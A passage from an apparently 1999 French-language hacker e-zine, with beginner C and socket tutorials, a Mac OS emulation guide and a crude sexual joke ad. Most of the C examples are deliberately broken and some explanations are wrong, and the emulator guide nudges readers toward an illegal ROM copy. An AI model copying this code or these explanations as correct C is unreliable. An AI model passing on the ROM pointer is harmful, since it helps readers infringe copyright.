jaune, coller quelques timbres et licher bien.
[__2] : "ARRRRRRRRRGGGGGGGGGGGG JVIENS DE TOUTE COMPRENDREEE!!
sti chu cave, stai la qui se colle les timbres!!!
[2nd Step:]
Avec un crayons foncer,ecrivez l'adresse de votre destinataire
sur l'envloppe. Destinataire étant bien-sur vous-meme. Sorter
prendre une marche à l'extérieur et poster le tout.
[Candu]: "Jtoute meler la."
[3rd Step:]
Attender
[4th Step]
Retournez à la malle chercher vos comptes à payer et rapporter
avec vous cette envloppe jaune qui est de retour.
[5ft Step]
Prenez cette envloppe et déposer la dans un coin pour le reste
de vos jours sans JAMAIS l'ouvrir.
Comme ca si vous vous faite ripper votre code, pis que le gars
est près à aller plus loin que "4h10 en arriere du Petro Canada"
vous aurez l'ultime preuve que ce code, vous l'aviez écrit
avant que celui-ci ne s'avoue propriétaire. Car l'enveloppe
encore sceller portant la marque de la Poste Canadienne.
Suite à ces recomandations, vous pourriez toujours vous auto-
envoyer 2-3 de votre code sous envloppe, et en deposer une
dans votre grenier sous la mousse isolante, une à la caisse
pop, quoi que d'apres de recentes étude effectuà dans ce zine
il serais peut-etre plus sage d'en deposer une derniere copie
dans une banque digne de votre réputation, à suposée que cette
établissement ne sois pas une caisse pop bien-sur!
;
' .
: ;
: '
; Qwzykx :
| :
|_________________________________________________________________________________|
===================================================================================================
Pub-O-sticker
<maniak> Cherche femme taille forte de Montréal qui aime se faire brouter
la chatte,pour rencontre sur une base régulière!
[Veridique selon nos source]
===================================================================================================
,---------------------------------------------------------------------------------,
| [003] |
| C tutorial #3 |
: so called :
; C presque fini :
, .
.
:
Je me suis longtemps demander si jallais finalement sortir ce fameux
#3 de mes tutorial sur le C et jai faillit y renoncer lorsque Cubic ma
envoyer le sien sur les sockets en C. Finalement je me suis dit que jallais
en faire un petit dernier avant de remetre le flambeau a cubic et rew. Cette
article est donc un complement au 2 premier a etre paru dans IGA (9 et 10)
et un introduction a celui de Cubic, qui est le premier d'une serie donc
jignore le chiffre final de tutorial sur les Socket via le langage C. Dans
les 2 premiers tutorial, j'avais fait un tour global sur l'utilisation des
variable et les controle simpe ( if then else etc :] ). Ce tutorial ne
representera pas beaucoup de nouvelle maniere, il va tout simplement vous
montrer a mieu structurer vos code pour les rendre plus lisible et plus
maleable, je laisserais a cubic et a rew la joie de vous demontrer la
complexiter du langage C dans les prochains tutorial qui suiveront.
Vous souhaiteriez surement passer tout de suite au programme kick ass qui
vous font salivez, bien sur on pourrais le faire, mais vous perdriez le 3/4
de la technique, chaque chose en sont temps, si je vous donne de la bouffe
vous allez toujours revenir men queter, si jvous aprend a pecher, vous
viendrez pu mecoeurer par apres (arf jaurais jamais penser que ce proverbe
la maurais servie ).
Bon question de se remetre dans le bain, nous allons revoir quelque
principe de base de la programation en C
include <stdio.h>
main()
{
printf ("hello world");
return 0;
}
pas pire non? arf, en realiter jva pas pentoute recommencer tout ce que jai
dit, vous etes surement assez leet pour aller downloader le IGA 9 et 10 si
vous comprennez rien a ce present numero. Comme je le disais dans mon intro
nous allons parler ici de la programation par module, What the fuck que c
ca? et bien comme un image vaut mille mots et que mille mots vaux sont
pesant de K et bien je vais vous f aire un petit exemple et vous lexpliquer
par la suite.
/* exemple de programme non modulaire */
/* so called, ca laire twit mais rajoute 1000 ligne pi tes perdus */
/* mais pour linstant vous etes ici :] */
#include <stdio.h>
#include <string.h>
main()
{
char reponse[3];
printf("veut tu une biere ?\n");
scanf("%s",reponse);
if (strcmp(reponse,"oui") == 0)
{
printf("ok, jtapporte une autre biere\n");
{
else
{
printf(" sti que tu es cheap, jten apporte une pareille.\n");
}
return 0;
}
bon, ca vous avez tous dejas vu ca dans les 2 autres tuto, voicie maintenant
ce que ca donnerais si vous coderiez le tout en utilisant des modules.
#include <stdio.h>
#include <string.h>
main()
{
char reponse[3];
printf("veut tu une biere ?\n");
scanf("%s,reponse");
if (strcmp(reponse,"oui") == 0)
{
reponse_positive()
}
then
{
reponse_negative()]
}
return 0;
}
reponse_positive()
{
printf("ok, jtapporte une autre biere\n");
return 0;
}
reponse_negative()
{
printf(" sti que tu es cheap, jten apporte une pareille.\n");
return 0;
}
hehe, avouez que ca laire useless, jvous donne pas tord sur un exemple de 10 lignes
mais regarder bien dans un code un peu plus grand, vous allez voirs que l'on si
retrouve un tantinet mieux. ca cetais juste pour vous faire comprendre le principe.
bon un peu de theorie sur les variable globale et les variable local. Est appeller
variable global, une variable qui peu etre utiliser par nimporte quelle section ou
sous section du code afin detre utiliser ou modifier. si vous avec eux des cours
de Qbasic a l'ecole, c'est le type de variable que vous avez utiliser. Mais comme
les codeur de C sont de gros codeur leet, et bien il prefere utiliser des variable
local, c'est a dire des variable qui non foie de loi que dans leur fonction
(module) respectif. Mais bon, c'est plus util et plus efficace ainsi, d'ailleur,
tout langage qui se respecte utilise cette methode de programation ( VB aussi
d'ailleur pour ceux qui viendrais dire que ce n'est pas un langage inteligent)
bon comme je dit a chaque foi que jai pu rien a dire: rien de mieu qu'un exemple
pour comprendre :]
#include <stdio.h>
#include <string.h>
main()
{
int haxor; <-------- ceci est une variable globale elle
pourrait etre appeller a partir dun
autre module, like I_G_A()
printf("est tu un leet haxor?\n");
printf("1-->oui\n");
printf("2-->non\n");
scanf("%d",haxor)
switch(haxor)
{
case(1):
I_G_A()
break;
case(2):
printf ("salut wzgate/n");
break=;
default()
{
printf ("hacker dont use drug, repond par 1 ou 2")
}
return 0;
}
I_G_A()
{
int nick = 0; <--------- ceci est une variable local, elle
ne peu etre appeller et utiliser
que a linterrieur de la fonction
I_G_A()
printf("quelle est ton nick?\n");
printf("1--> __2?\n");
printf("2--> Qwzykx?\n");
printf("3--> Wyzeman?\n");
printf("4--> Bozzo?\n");
printf("5--> Qderf?\n");
scanf("%d",nick);
switch(nick)
{
case(1):
printf(" salut __2 taime pas de C queske tu fou dans mon tuto?\n");
break;
case(2):
printf(" Ouais tu va pouvoir parler dencoding de chip bientot\n");
break;
case(3):
printf(" si spa moi qui li ca cest que tu es menteur en cacaouette\n");
break;
case(4):
printf(" quand jetais petit je netais pas grand :]\n");
break;
case(5):
printf(" jpense pas ke tai besoin de lire ca :]\n);
break;
default()
{
printf("brain reset by peers\n");
}
return 0;
}
bon je ne meterneriserais pas des heures dans un principes simple, vous devriez
maintenant etre en mesure de comprendre ce qu'est une variable local et une
variable globale, sinon, ben vous pouvez toujours allez lire 912 ou QHA :]
il font des articles de ratrapage (un peu comme les groupes de mesadapter a
l'ecole :] )
passage de variable. Permet de faire circuler une variable local, a une
autre fonction. pour ce faire, vous devez indiquez la variable donner dans le
call de fonction que vous faite, entre les parentaises
prototypage
obligatoire dans le cas de variable de type float, vous devez les
inclure dans lallee et le retour. ca permet de bien suivre le traitement de ces
variable entre autre.
bon ici ce termine mes tutorial en
C, je sais que celui ci est plutot cour, mais
comme larticle qui suis est aussi du C, faudrais pas trop vous bourrez. En
passant Cubic me fait dire de ne pas essayer de compiler c'est exemple car il ne
se compilerais pas tres bien et cest voullu. Je vous conseille la meme chose pour
les miens, car Chicoman n'est pas un gars tres jasant.
;
' .
: ;
: '
; Wyzeman :
| :
|_________________________________________________________________________________|
===================================================================================================
Pub-O-sticker
<VeNeTiA> les dimache de fuin de mois je pense les ofrante a athena
<Wyzeman> surement la cousine de pres_who :]
===================================================================================================
,---------------------------------------------------------------------------------,
| [004] |
| Suite au tutorial C #3 |
: so called :
; on pass drete de 12 a 14 pi on fait 2 #3???? :
, .
.
:
Encore du coding sous C mais cette fois on approfiondie encore plus en vous
presentant les structures et les unions de bits.
Debutons d'abord par la structure. La structure de bit est
en fait un moyen simple et intlligent de travailler sur les bits d'un fichier.
Exemple du chef..:
struct Str1
{
unsigned char b0:1; //Bit 0
unsigned char b1:1; //Bit 1
unsigned char b2:1; //Bit 2
unsigned char b3:1; //Bit 3
unsigned char b4_5:2; //Bit 4 et 5
unsigned char b6_7:2; //Bit 6 et 7
}stOctet;
Dans cette exemple chaques variables est associes a un bit et
le total ou le nom de cette structure est : stOctet.
Pour appeler ou modifier un bit en particulier, au lieux de
faire un mask vous n'aurer qu'a caller le bit qui vous intresse
comme suit : stOcter.b2=1;
Evidament comme dans ce cas il sagit de bit, la valeur ne pourra
etre autre que 0 ou 1.
On peut aussi declarer une structure de d'octet.
struct Str1
{
unsigned char ucOctet1;
unsigned char ucOctet2;
};
struct Str1 stByte;
Remarquer que dans ce cas, j'ai declarer ou plutot construit la
structure apres y avoir attribuer mes variables. Ce qui peux
etre pratique si on prevois construire plusieurs de ces structures :
struct Str1 stByte,stByte2,stByte3;
On vois ici finalement 3 declarations d'une meme structure
original. Comme dans ce cas ci on a laisser tomber les bits
pour declarer une structure avec deux char(8bits) la structure
sera donc composer de 16 bits. L'appelle de la fonction restera
la meme :
stByte.ucOctet1=0x40;
L'utilite de tel structure est impresionnante quand on desir
acceder rapidement a une valeure d'une variable dans un meme
champ (groupe). On pourrait ainsi construire une structure
Qwzykx qui serait composee des items suivants: QI,Articles,Paye
Et cette structure permetrait de regrouper en un meme ensemble
uniforme des variables ou des statistiques qui sont propre au
meme sujet. Et on pourrais pousser de plus en plus les avantages
de telles structures en fesant une structure dans laquelle on
inclurait d'autres structures :
struct IgaCrew
{
unsigned char Articles;
unsigned char QI;
unsigned char Paye;
};
struct IGA;
{
struct IgaCrew Qwzykx,Wyzeman,__2,Bozzo;
};
struct IGA IgaTeam;
Dans ce cas la structure IgaTeam serait composee de 4 autres
structure de type IgaCrew. Ce qui permetrait de faire des
appelles de variables beaucoup mieux structures :
IgaTeam.Qwzykx.Articles=24;
IgaTeam.Wyzeman.QI=210;
IgaTeam.__2.Articles=12;
Vous reconnaissez pas ces debuts d'appelle de type programation
objet... evidament ce n'est pas le cas mais on vois bien vers
quoi on se dirige.
Note: importante a retenir, on ne peut pas initialiser de
valeurs lors de la declaration de cette structure.
Regardon maintenant les Unions.
Les unions sont utile pour unire des structures en une meme
variable, reprenons l'exemple de tento:
struct Str1
{
unsigned char b0:1; //Bit 0
unsigned char b1:1; //Bit 1
unsigned char b2:1; //Bit 2
unsigned char b3:1; //Bit 3
unsigned char b4_5:2; //Bit 4 et 5
unsigned char b6_7:2; //Bit 6 et 7
};
Alors si je veux lire ou ecrire independament ces bits,
je peux me servir de la structure pour parvenir a mes fins.
Mais si je desir repartir directement un octet a l'interieur
de ces bits, j'utiliserer l'union :
union Octet
{
struct Str1 Octet;
unsigned char ucMot;
}unOctet;
On vois que cette union construit la structure decrite plus haut
et associe un octet a celle-ci (ucMot). Donc si on ecrit
directement dans cette variable nos bits seront modifier en
consequence :
ucOctet.ucMot=0x55;
Suite a cette operation les variables de la structure seront
modifier. Le contraire est aussi vallable :
ucOctet.Octet.b0=1;
Si on vas lire notre ucMot on verra que le bit0 cette variable
est egale a 1.
Et tout comme pour les structures, on peut introduire des
unions dans d'autres unions, dans d'autres unions etc....
Par l'utilisation de tels principes on peut facilement voir
toute l'optimisation et la "structure inteligante" qu'on
peut apporter a un code.
;
' .
: ;
: '
; Qwzykx :
| :
|_________________________________________________________________________________|
===================================================================================================
Pub-O-sticker
<Doc-green> Jveu mon iga jveu mon iga jveu mon iga jveu mon iga jveu mon iga
===================================================================================================
,---------------------------------------------------------------------------------,
| [005] |
| Csocket #1 |
: so called :
; La nouvelle mode de faire des article a 2 ezine :
, .
.
:
++------------------------------++
++ C Socket Programming part #1 ++ par Cub1c (cub1c@hotmail.com)
++------------------------------++ [99.11.03]
Pré-requis:
- connaissance de la programmation C environnement Unix.
=====
Intro
=====
En premier lieu, dans ce texte nous allons apprendre, tout d'abord
ce qu'est un socket et ensuite à programmer des sockets en langage C.
NOTE: Ce texte s'adresse aux newbies!
Je vais faire beaucoup de comparaisons ......
(téléphone...)
bon je suis revenu...comme je disait, je vais faire beaucoup de comparaisons
aux téléphones (que je suis comique!).
Pourquoi? Parce-que batir un socket c'est comme installer une ligne
téléphonique (ou presque). Tu dois commencer par l'installer, ensuite choisir
le type de fils, etc...
============
Explications
============
Les sockets sur internet ont le même concept de base que les
téléphones: établir une connection entre 2 hôtes pour ainsi pouvoir y passer
des conversations, dans notre cas des packets. Les sockets sont comme des
téléphones dont le fil utilisé pour la communication est Internet en
utilisant le protocole TCP/IP (Transmission Control Protocol/Internet
Protocol).
Comprennez vous? Récapitulons...
SOCKET == TELEPHONE
INTERNET(TCP/IP) == FILS DE CUIVRE
En espèrant que vous le savez, TCP/IP est le protocole utilisé pour la
transmition de données numériques sur Internet.
if(reaction == "IPIT/CTPTTI?!?!") exit(1);
L'information circulant sur Internet avec le protocole TCP/IP est
divisée en packets. Les packets sont des branches de données ayant une
grandeur en bits égale. Les packets sont au TCP/IP ce que les mots d'une
conversation sont au téléphone.
Pour établir une conversation avec quelqu'un au téléphone il faut
son numéro! Pour les socket, c'est le même principe. On appele cela une
adresse. Il existe plusieur mode d'adressage, mais je vais seulement vous
introduire au plus important lorsque l'on parle de socket pour TCP/IP: le
mode d'adressage AF_INET. Les adresses AF_INET sont ceux que vous connaissez
bien: les adresses IP.
Un autre point important est le type de socket. La aussi il y en a
plusieurs, mais les 2 plus commun sont: SOCK_STREAM et SOCK_DGRAM. Une
connection stream (SOCK_STREAM) est le fait d'avoir une connection où les
caractères vont parvenir en flot, sans interruptions. Le meilleur exemple
d'une connection SOCK_STREAM est telnet. Tandis que SOCK_DGRAM indique une
connection où les packets vont arriver en gang. UDP (User Datagram Protocol)
est le protocole utilisé pour transmettre des packets de type SOCK_DGRAM.
Le plus facile à utiliser est SOCK_STREAM, et c'est aussi le seul dont je
vais vous parler dans ce texte.
==================
Data Encapsulation
==================
Avouez que vous n'aimer pas ce mot. Vous voulez même pas savoir ce
que c'est que l'encapsulation de données juste parce-que le mot vous semble
compliqué. Détrompez-vous, ce n'est pas si sorcier. L'encapsulation consiste
à la transformation de données dans un format spécial qui permettra leur
transmission à une autre machine qui elle effectuera une décapsulation.
Schéma:
DONNEE-->ENCAPSULATION-->TRANSMISSION-->DECAPSULATION-->LECTURE DE LA DONNEE
Exemple:
Vous voulez transmettre une commande FTP à un serveur. Dans ce
processus il va y avoir 4 étapes à l'encapsulation(transformation) de la
commande pour la transformer en packet:
1) la commande sera transformée(encapsuler) par le premier protocole, dans
notre cas: FTP (File Transfer Protocol)
2) le tout sera retransformé par le deuxième protocol: TCP (Transmission
Control Protocol)
3) le tout sera reretransformé par le troisième protocol: IP (Internet
Protocol)
4) le tout sera rereretransformer par le quatrième protocol: le hardware
(modem) ou: physical layer
Schéma:
COMMANDE-->TRANS.FTP-->TRANS.TCP-->TRANS.IP-->TRANS.PHYSICAL-LAYER
Quand l'autre machine recoit ce packet, elle vas faire une
décapsulation qui est le résultat du procédé inverse de l'encapsulation
(effectuer les 4 étapes en commencant par la dernière jusqu'à la première).
Cette partie qui explique l'encapsulation n'est pas nécessaire pour
la programmation des sockets. Mais ceci explique en gros ce que vont faire
les fonctions qui serviront à transmettre des caractères. Si vous voulez en
savoir plus sur les différents protocoles et comment ils fonctionnent
réellement, je vous conseil d'aller lire des RFC (Request For Comment) qui
sont disponibles à l'adresse mentionnée à la fin de ce texte.
=============
Programmation
=============
Une fois que tu as un téléphone et le numéro d'une personne, que
fais-tu après? Et oui! Tu compose! On appele ce processus se connecter.
Dans notre cas, je vais seulement vous expliquer comment faire pour vous
connecter à un serveur distant, et non pas comment vous ouvrir un port sur
votre machine. Peut-être que j'en discuterai dans un article à venir.
Premièrement, nous devons inclure dans notre programme les fichiers
qui contiendront les modèles des fonctions dont nous aurons besoin pour la
programmation de sockets:
#include <sys/types.h>
#include <sys/socket.h>
La fonction pour établir une connection à l'aide de socket est:
socket().
int socket(int domaine, int type, int protocole);
Cette ligne défini la facon selon laquelle socket() sera appelé. Elle
contiendra 3 arguments:
1) domaine: cet argument dans notre cas sera "setté" à "AF_INET".
2) type: cet argument définira le type de socket utilisé, dans notre cas:
"SOCK_STREAM".
3) protocole: et puis "setter" ce dernier argument à "0".
Ce qui donnera:
socket(AF_INET, SOCK_STREAM, 0);
Nous devons ensuite insèrer ce socket dans une variable pour
utilisation éventuelle:
scktest = socket(AF_INET, SOCK_STREAM, 0);
NOTE: si vous avez lu la section des explications, vous devriez être en
mesure de comprendre pourquoi on attribut un domaine, un type et un
protocole à un socket.
Cette fonction va vous retourner un socket (scktest) qui sera
utilisable plus tard dans le reste du programme. Si il y a difficultés à
créer ce socket pour n'importe quelle raison, la valeur de la variable
socket (scktest) sera -1. Ce qui vous permettra d'implémenter vous-même
une routine de traitement d'erreurs de connection.
La prochaine étape sera d'établir la connection. La fonction qui
sera utilisé pour établir la connection sera connect(). Ceci permettra de
vous connecter à une machine distante.
int connect(int socketvar, struct sockaddr serv_addr, int addrlen);
La fonction connect() contient 3 arguments:
1) socketvar: la variable qui contient le socket que nous avons ouvert à
l'aide de socket().
2) serv_addr: c'est la variable de l'adresse du serveur dont la structure
est sockaddr. Cette variable vas contenir l'adresse du
serveur et le port de destination.
3) addrlen: c'est la longeur de l'adresse du serveur. Dans notre cas, la
longeur de l'adresse du serveur distant sera la longeur de la
variable serv_addr: addrlen = sizeof(serv_addr)
Bon, maintenant que vous savez comment utiliser les fonctions socket()
pour ouvrir un socket et connect() pour connecter ce socket, codons tous en
coeur un petit exemple.
----------Début----------
/* Exemple de programme utilisant des sockets */
#include <string.h>
#include <sys/types.h> /* On commence par inclure les fichiers contenant */
#include <sys/socket.h> /* les prototypes */
#define DST_IP "134.232.11.21" /* Déclaration de variables globales */
#define DST_PORT 23 /* DST = Destination */
main() {
int scktest; /* Déclaration de la variable du socket */
struct sockaddr_in dest_addr; /* dest_addr est la variable qui vas contenir
l'adresse */
scktest = socket(AF_INET, SOCK_STREAM, 0); /* Ouverture du socket */
/* Bon, ici on devrais faire une routine qui vas vérifier si le socket est
capable d'être ouvert ou non. Je ne vais pas vous écrire le code parce-que
vous devriez être capable de le faire. Il faut juste faire un IF qui vas
vérifier si la valeur de scktest == -1. Si elle égale -1, c'est qu'il y a
une erreur et qu'il est impossible d'ouvrir le socket. */
dest_addr.sin_family = AF_INET;
/* On dit à la variable qui contient l'adresse du serveur
(dest_addr) quel mode d'adressage elle devra utiliser à l'aide
de la propriété sin_family (sin signifie: "s" pour socket
et "in" pour internet. Dans ce cas ci: AF_INET */
dest_addr.sin_port = htons(DEST_PORT);
/* On défini la propriété sin_port de la variable
dest_addr pour indiquer sur quel port se connecter.
"htons" signifie Host TO Network Short. */
dest_addr.sin_addr.s_addr = inet_addr(DEST_IP);
/* On défini la propriété s_addr de la variable
dest_addr.sin_addr qui contiendra l'adresse
IP du serveur distant. */
connect(scktest, (struct sockaddr *)&dest_addr, sizeof(struct dest_addr));
/* On se connecte à l'hote distant en utilisant la fonction
connect(). Le deuxième argument est la troncature des
variables sockaddr et dest_addr pour ainsi former le
3ième argument tout en 1 qui indiquera l'adresse du
serveur.*/
}
----------Fin----------
NOTE: N'essayez pas d'exécuter ce petit programme. Il n'est là qu'a titre
d'exemple. Il ne marchera pas.
<__2> des exemple qui marche pas??? spa un peu useless ca ?
=====
Outro
=====
Il se peut que vous n'ayez pas compris tout les petits détails ou
autres code dans le programme. C'est normal si vous avez qu'une petite base
en C. Alors pratiquez-vous, pratiquez-vous encore et encore...Si vous voulez
un petit conseil en attendant la prochaine partie de ce texte, regardez du
code, regardez comment sont codés les exploits et regardez le code ligne par
ligne en essayant de comprendre la signification. Pratiquez-vous.
Next part:
- Utilisation des fonctions send() et recv().
- Le reste, on verra.
- Peut-être coder un petit remote buffer overflow ;).
"The only place where success comes before
work, it's in the dictionary."
-------------
RFC: http://www.cis.ohio-state.edu/htbin/rfc/INDEX.rfc.html
-------------
Texte écrit par Cub1c, pour IGA, terminé le 4 novembre 1999.
Version finale terminé le 14 novembre 1999
- Cub1c(cub1c@hotmail.com)
<end of transmission>
;
' .
: ;
: '
; Cub1c :
| (jpense kon sent doutais :]) :
|_________________________________________________________________________________|
===================================================================================================
Pub-O-sticker
Caution: contents under pressure. Do not place in hot water or hear radiator, staves or
other sources of heat. Do not puncture or incinerate container or storeat
temperature above 50 C
===================================================================================================
,---------------------------------------------------------------------------------,
| [006] |
| Mac OS in tha PC |
: so called :
; un nain sans chapeau cest un nain sans chapeau :
, .
.
:
Qui connais vraiment Macintosh? Ici je ne parle pas de se que tout
le monde en pense (ca vaut pas d'la marde) mais plutot de se que
c'est. Les avantages a s'en servir et les desavantages, non ce texte
n'est pas la nouvelle promotion MAC. C'est encore loint une lettre
de devotion d'un accro-mac ou accro-pc mais plutot un article sur
le fait que le MAC est casi-disponible sur PC via Windows98/NT en
l'emulant biensur. Des le depart il est donc bien de savoir se que
c'est et surtout pourquoi s'en servir non? Alors voici selon moi
les avantages et les desavantages d'un MAC a la base:
Avantage(s):
- Simple d'utilisation via l'interface MAC-OS(wizards power)
- Simple de branchement, tout les peripheriques externes sont
pour pas mal tous USB.
- Pour pas mal tout le hardware, aucun driver n'est requis, tout
fonctionne en mode NATIF. Tout est auto-detecter des le bootage
de la machine.
- C'est stable (mais ca cest discutable en motadit)
- Ca roule des applications qui roule pas sur pc (logique)
- La configuration reseau se fait pas mal toute sans jamais
rebooter et tout se specifie simplement et efficacement.
Desavantage(s):
- C'est moins multi-task que Windows 3.1, ca veut dire qu'on peut
pas reelement faire rouler 2 programmes en meme temps. On peut en
laisser 2 ouverts mais le 2-eme se met en genre de PAUSE pendant
que l'autre fonctionne.(vice-versa)
- C'est chere pas mal un MAC pour se que ca vaut.
- La situation des MACs est tellement mauvaise vis-a-vis le PC que
leurs dernieres campagnes sont centrer sur la couleur externe de
la machine pour accroitre les ventes (voir iMAC)
- La panoplis de programmes et pas mal moins grande sur MAC que sur PC
- Oublier le gameplay et tout se que ca implique
- C'est instable (Dans le sens que quand ca bug, on sait jamais pourquoi)
- L'utilisation du HARDWARE gele la couche SOFTWARE pas mal pendant son
utilisation.
- Le hacking sur ca cest triste.
- Y a pas un modit IRC client qui a de la gueule sur MAC.
---
Bon on va arreter ca la, je commence a embarquer de facon subjective et pas
mal personnelle sur le sujet :) Parlons plutot du Pourquoi. Pourquoi emuler
un MAC sur un PC:
- Parce que ca fait fencer [hot]
- Parce que ca nous prouve que MAC-OS est aussi performant qu'un simple
programme sous Windows.
- Parce quon peut reussir a utiliser du materiel MAC (Drives SCSI, Zipdisks)
- Parce quon veut rouler des applications MAC ONLY
- Parce quon veut coder sous mac?
- Parce quon veut tester les trucs a Bozzo :}
Bon il reste que c'est bien de rouler un MAC sur un PC si on a le gout question
d'etre polyvalent pas mal. Mac apres-tout cest un monde en soit. Il y a surement
une chose ou deux a y trouver. Alors voila comment on doit se prendre.
Pour emuler un MAC il faut se dire tout dabord qu'a letat present de l'emulation
on va pouvoir runner un M68k(equivalent 486) car le POWERPC(Equivalent Pentium)
n'est pas encore disponible (ce n'est qu'une question de temps a mon avis).
Vous me direz que 486 cest pas beaucoup :) Je vous repondrez que APPLE a tjours
aimer nous dire que son MAC roule mieux a egale vitesse qu'un PC. C'est vraiment
le cas aussi(il faut pas oublier que le MAC roule monotask pas mal, cest normal
que ca demande moins). Donc en gros ca vaut la peine si vous voulez faire des
trucs. Si je me prend comme exemple, j'ai dernierement eu affaire a une disquette
ZIP formatter en MAC qui contenait des fichiers TIFF(BMP Macien) pour un contrat
de design. Mon Windows ne pouvait pas lire le contenu, quand j'utilisais un
programme de lecture MAC pour windows j'obtenais un mauvais resultat car les TIFF
de MAC sont pas identique au TIFF PC. Alors je me suis dit que j'avais qu'a
prendre un programme MAC qui convertis mon TIFF en JPG (Multi-plateforme) et apres
le reprendre via l'utilitaire de convertion MAC->PC. Resultat: BINGO ca fonctionner.
J'ai pus en peu de temps transferer des fichiers TIFF de 12 et 20 megs en un
cour laps. Bon vous voyez que ca fonctionne. Voici maintenant se qu'a mon avis
vous aurez besoin du cote du hardware pour faire fonctionner l'emulateur MAC:
- Un PC p2-233 avec au moins 32mo RAM
- un HD avec au moins 200 megs d'espace de libre
C'est tout :) le p2-233 est pas obligatoire mais sans ca , vous perdrez de
la vitesse. Le 32mo de RAM quand a lui est tres souhaiter[dans le sens de
vraiment].
Du cote Software vous aurez besoin de:
- Windows98 ou NT comme OS de base.
- Basilisk2 [emulateur MAC M68k] --> http://gamma.nic.fi/~lpesonen/BasiliskII/
- Une ROM M68K[MAC] de 1meg --> Find-by-youself, its-illegal-to-copy-roms
- MacOS 7.5.3 --> Gratos sur www.apple.com
- HFVExplorer --> Manager de files pour lire MAC sur PC
- BootDisk Software MacOS 7.0 --> fichier disquette pour debuter l'install
---
La ROM est pas disponible facilement parce que cest tres illegale parait-il :}
Mais sachez que l'emulateur MAC , FUSION vient avec une ROM tres correcte.
Allez le trouver sur le NET. Tant que votre ROM soit du modele:
-68020
-68030
-68040
Pour le site d'APPLE exacte ou downloader MAC-OS 7.5.3 le voici:
**** http://www.apple.com/dd
--Downloader le en [BINEX].
Le programme HFVExplorer [obligatoire] est trouvable a:
*** http://www.toto.com
Le Bootdisk Software MacOS 7.0 est trouvable a:
*** http://www.sickboy.com
---
Vous avez tout? Parfait commencons, dezipper Basilisk2 dans un repertoire,
par exemple: C:\MAC, faite pareil pour la ROM, le bootdisk Software et HDFExplorer.
Voici les prochaines etapes a faire:
1. Creer un fichier-partition MAC-OS {sans repartitionner reelement}
2. Configuration de la ROM et de la MEMOIRE
3. Configuration de l'ecran et du son
4. Configuration du reseau , du modem
5. Premier Bootage et explication de MAC-OS
6. Utilisation de MAC-OS de facon standart
7. Mot-de-fin
--------------------------------------
1. Creer un fichier-partition MAC-OS
--------------------------------------
Pour bien emuler notre MAC on va devoir creer une fausse-partition qui
sera en realité stocker dans un fichier sous windows. un fichier de 100
a 200 megs par exemple. Pour ce faire vous aurez besoin du programme
HFVExplorer. Charger le programme , ca peut prendre 60 secondes car
il prend le temps de detecter tout vos peripheriques, l'avantage d'un
tel programme est biensur qu'il lis directement le format MACINTOSH,
c'est a dire les partitions macintosh sur HD, Zipdrive, Cdrom, disquette
et vous permez ainsi d'importer/exporter l'information. Ici on prend
en ligne de compte que vous avez tout downloader le stuff requis :)
Etapes:
1) Allez dans le menu [F]iles et utiliser l'option FORMAT NEW VOLUME
et ici je vous vois venir. NON IL NE FORMATTERA PAS VOTRE DISQUE
DURE et NON IL NE VA PAS CREER UNE NOUVELLE PARTITION PAS EFFACABLE :)
2) Specifier votre volume name: (ie:MACHD), Dans volume size utiliser
200megs ou au pire 150. dans le path sauvez votre fichier-partiton
MAC a quelque part en format HVF et non pas en format DSK.
La difference est simple, HVF = Partition disque dure, DSK = Disquette.
3) A l'aide de l'interface , fabriquez-vous un sous-repertoire sur
votre nouvelle partition MAC, nommez le MACOS7 et deplacer a l'interieur
tout les fichiers MAC OS 7.5.3 que vous avez downloadez via APPLE.
-------------------------------------------
2. Configuration de la ROM et de la MEMOIRE
-------------------------------------------
Executer BasiliskIIGui.exe pour obtenir le menu de configurations
avant d'executer directement en mode MACOS. Allez sous le signet
memory. Allouez un minimum de 16megs RAM si vous voulez atteindre de
bonne performances. Soyez intelligent et n'allouez pas se que vous
n'avez pas. Par exemple si je posede 64megs ram, 32megs d'allocation
serait parfait. Mais pas 64, mon Windows utilise deja une partie de
la memoire. Dans le ROM PATH inserez votre fichier Fusion.ROM.
Vous devriez voir apparaitre plus bas:
ROM TYPE: 32-Bit Clean Mac || ROM (512KB/1MB)
ROM Checksum (from ROM file) : FF7439EE
ROM Checksum (calculated) : FF7439EE
Si tout s'est bien passer allez dans l'onglet General:
Configurez cela comme ceci:
- Boot drive: 0
- Boot driver: 0 Boot from first bootable volume
- Model ID: 5 (Mac llci)
- Cocher FPU Enabled
- CPU: 68030
(En veriter vous roulerez en 68040)
-------------------------------------------
3. Configuration du display/son
-------------------------------------------
Pour se qui est du SON par defaut il est tout bien configurer, il
utilise directement les drivers Windows. A notez que Basilisk2 ne
supporte pas tout les modeles de carte de son, j'ai pus tester 2
modeles, soit la ANALOG DEVICES (qui ne marche pas) et la Creative
LIVE 128 (Qui marche). Donc si vous avez voulu economisez vous
allez devoir vous en passez.
Maintenant, pour le graphisme. Allez dans l'onglet :SCREEN
Configuration :
Screen type: Direct X [in a window ]
Screen width/Height : 640 x 480
Colors : Thousands (15-bit)
Miliseconds between frames: 12
Pour les utilisateurs de windows200/NT4, vous pourrez
plus amplement jouer avec ca plus tard :)
A notez qu'il est plus conseiller de rouler MAC OS en mode fenetrer
car vous pourrez en tout temps faire alt-enter pour tomber en pleine
ecran et si cela plante au moins votre interface graphique n'en subira
pas trop les consequences.
-------------------------------------------
4. Configuration du reseau/modem
-------------------------------------------
Pour se qui est du reseau, je n'ai pas tout a fait encore jouer
avec cela mais ca offre en gros le support TCP/IP via une carte
reseau. Se qui serait kewl effectivement. Vous pourriez avoir 2
IP sur un reseau , un pour le MAC et un pour le PC et passer par
le PC pour allez sur internet avec le MAC sans utiliser le modem
au cas ou le modem justement n'est pas tres fonctionnel :}
Quand au modem, par defaut le modem est supporter comme etant natif,
donc aucun setting trop complexe. Onglet PORTS s.v.p, vis-a-vis
MODEM PORT choisissez le COM de votre Modem, pour bien du monde
le COM cest le 3, surtout si vous avez un modem AOPEN.
Vous voyez quil supporte le COM 5 et 6 se qui rend l'utilisation
des winmodems cheaps like Motorola utilisable. Vous remarquerez
aussi que vous pouvez configurer un imprimante, par defaut le port
est LPT1. J'ai personnelement deja reussi a allez sur IRC via
IRCle , un IRC client Macintosh via l'emulation :) [eurk]
-------------------------------------------
5. First Boot
-------------------------------------------
Avant de relancer le GUI assurez vous que le fichier cdenable.vxd a ete
placer dans votre repertoire \windows\system si vous voulez que le cdrom
soit supporter dans l'emulation :) Par la suite dans le B2GUI allez dans
l'onglet DISK. et ajouter votre disque MAC (.hfv) de tout a l'heure
